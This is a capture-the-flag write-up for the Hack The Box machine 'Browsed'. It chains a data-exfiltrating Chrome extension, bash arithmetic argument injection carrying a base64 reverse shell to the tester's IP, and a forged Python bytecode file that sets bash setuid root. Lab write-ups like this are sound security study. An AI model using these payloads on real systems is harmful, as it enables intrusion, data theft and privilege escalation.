Hack The Box / LINUX / 2026-03-28
Hack The Box — Browsed (Linux)
Malicious Chrome extension recon reveals an internal Gitea host, argument injection in a local routine runner yields RCE as larry, and Python bytecode injection in a sudo-allowed extension tool leads to root.
Target
- IP:
10.129.244.79
Port Scan
sudo nmap -sC -sV 10.129.244.79 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Browsed
| http-methods:
|_ Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Playing with malicious browser extensions
Go to http://10.129.244.79/.
It is a PHP website.
We can upload a ZIP containing a Chrome extension.
At http://10.129.244.79/samples.html we can download extension samples.
The idea is to use a malicious Chrome extension to exfiltrate information.
Very useful repository: https://github.com/artemy-ccrsky/EvilChromeExtensions
For example, we can try the browser-recon-ext extension.
In background.js, change the fetch call to:
fetch("http://10.10.14.136:8080/browser-recon", {
where that IP is ours. Use the provided Flask server to listen:
python3 flask-browser-recon-server.py
Zip the extension:
cd browser-recon-ext
zip -r demo.zip *
Upload the extension. On the Flask terminal, we get:
{
"tabs": [
{
"id": 773227028,
"url": "http://localhost/",
"title": "Browsed",
"active": true,
"pinned": false,
"windowId": 773227027
},
{
"id": 773227029,
"url": "http://browsedinternals.htb/",
"title": "Gitea: Git with a cup of tea",
"active": false,
"pinned": false,
"windowId": 773227027
}
],
"history": [
{
"url": "http://localhost/",
"title": "Browsed",
"lastVisitTime": 1768335922619.66,
"visitCount": 1
},
{
"url": "http://browsedinternals.htb/",
"title": "Gitea: Git with a cup of tea",
"lastVisitTime": 1768335922596.039,
"visitCount": 1
}
],
"bookmarks": [
{
"children": [
{
"children": [],
"dateAdded": 1768335922039,
"folderType": "bookmarks-bar",
"id": "1",
"index": 0,
"parentId": "0",
"syncing": false,
"title": "Bookmarks bar"
},
{
"children": [],
"dateAdded": 1768335922039,
"folderType": "other",
"id": "2",
"index": 1,
"parentId": "0",
"syncing": false,
"title": "Other bookmarks"
}
],
"dateAdded": 1768335922039,
"id": "0",
"syncing": false,
"title": ""
}
],
"userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"storage": {},
"platform": {
"platform": "Linux x86_64",
"version": "5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
},
"proxy": {
"levelOfControl": "controllable_by_this_extension",
"value": {
"mode": "system"
}
},
"clipboard": null,
"extensions": [
{
"id": "gellfdcdlkgnandecmjjmkoghpcpdfmk",
"name": "Browser Recon",
"enabled": true,
"type": "extension",
"installType": "development"
}
]
}
Gitea Source Analysis
We discovered a virtual host: browsedinternals.htb.
Add it to /etc/hosts.
Go to http://browsedinternals.htb/.
It is Gitea.
Go to Explore.
There is a repository.
Clone it:
git clone http://browsedinternals.htb/larry/MarkdownPreview.git
Analyze it.
We notice it is a Python web application listening on 127.0.0.1:5000.
We immediately notice an interesting endpoint:
@app.route('/routines/<rid>')
def routines(rid):
# Call the script that manages the routines
# Run bash script with the input as an argument (NO shell)
subprocess.run(["./routines.sh", rid])
return "Routine executed !"
The first part of routines.sh is this:
#!/bin/bash
ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"
log_action() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temp files
find "$TMP_DIR" -type f -name "*.tmp" -delete
log_action "Routine 0: Temporary files cleaned."
echo "Temporary files cleaned."
[...]
routines.sh command injection
It is true that subprocess.run() does not use shell=True, but it passes the rid argument to the .sh script, and inside that script it could be exploitable for arbitrary command execution.
We control rid, taken from what we place in the URL path after /routines/.
However, we notice we cannot use / characters, not even URL-encoded ones, otherwise our request does not trigger this endpoint.
We see that routines.sh uses $1 (our input) in an if condition.
This can be exploited for RCE.
Very useful site: https://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells
To test RCE, create test.sh with this content:
#!/bin/bash
if [[ "$1" -eq 0 ]]; then
echo -n ''
fi
Now run it this way:
bash test.sh 'a[0$(uname>&2)]'
Linux
Now the idea is to use a payload to get a reverse shell. However, as we saw, we cannot use / characters. So the idea is to use a base64 reverse shell payload:
echo 'bash -i >& /dev/tcp/10.10.14.136/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMzYvNDQ0NCAwPiYxCg==
Then we need to decode it from base64 and pass it to bash. So our payload becomes:
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMzYvNDQ0NCAwPiYxCg==' | base64 -d | bash
And the final payload is:
a[0$(echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMzYvNDQ0NCAwPiYxCg==' | base64 -d | bash)]
We need to use this payload as the path after /routines/, so it is convenient to URL-encode it:
a%5B0%24%28echo%20%27YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMzYvNDQ0NCAwPiYxCg%3D%3D%27%20%7C%20base64%20%2Dd%20%7C%20bash%29%5D
So we need to find a way to visit:
http://127.0.0.1:5000/routines/a%5B0%24%28echo%20%27YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMzYvNDQ0NCAwPiYxCg%3D%3D%27%20%7C%20base64%20%2Dd%20%7C%20bash%29%5Da%5B0%24%28echo%20%27YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMzYvNDQ0NCAwPiYxCg%3D%3D%27%20%7C%20base64%20%2Dd%20%7C%20bash%29%5D
Triggering Localhost RCE via Malicious Extension
Unfortunately, we notice the vulnerable web application listens on 127.0.0.1:5000, so we cannot reach it directly.
But we can create a malicious Chrome extension that forces the victim user to visit that URL.
See the attachments/evil_chrome_extension folder.
cd evil_chrome_extension
zip -r demo.zip *
Listen with netcat:
nc -vlnp 4444
Upload demo.zip.
We get a reverse shell as user larry.
SSH Access and Sudo Enumeration
In .ssh there is a private key, copy it to our machine as larry_key.
Now we can connect with SSH:
chmod 600 larry_key
ssh -i larry_key larry@10.129.244.79
sudo -l
Matching Defaults entries for larry on browsed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
ls -la /opt/extensiontool/
total 24
drwxr-xr-x 4 root root 4096 Dec 11 07:54 .
drwxr-xr-x 4 root root 4096 Aug 17 12:55 ..
drwxrwxr-x 5 root root 4096 Mar 23 2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27 2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23 2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Jan 13 21:40 __pycache__
Python Bytecode Injection Through Writable __pycache__
We notice that the __pycache__ directory is world-writable.
We can do Python bytecode injection.
See script attachments/python_bytecode_injection.py.
This bytecode executes:
chmod +s /bin/bash
So we make bash setuid root.
Upload the script to the victim machine.
python3 python_bytecode_injection.py
[*] Targeting source: /opt/extensiontool/extension_utils.py
- Mtime: 1742727379
- Size: 1245
[*] Using Magic Number: cb0d0d0a
[+] Forged /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc created successfully.
Run extension_tool.py with sudo:
sudo /opt/extensiontool/extension_tool.py --ext ReplaceImages --bump major
We get this error:
Traceback (most recent call last):
File "/opt/extensiontool/extension_tool.py", line 5, in <module>
from extension_utils import validate_manifest, clean_temp_files
ImportError: cannot import name 'validate_manifest' from 'extension_utils' (/opt/extensiontool/extension_utils.py)
But it does not matter.
Now run:
bash -p
We get a shell as user root.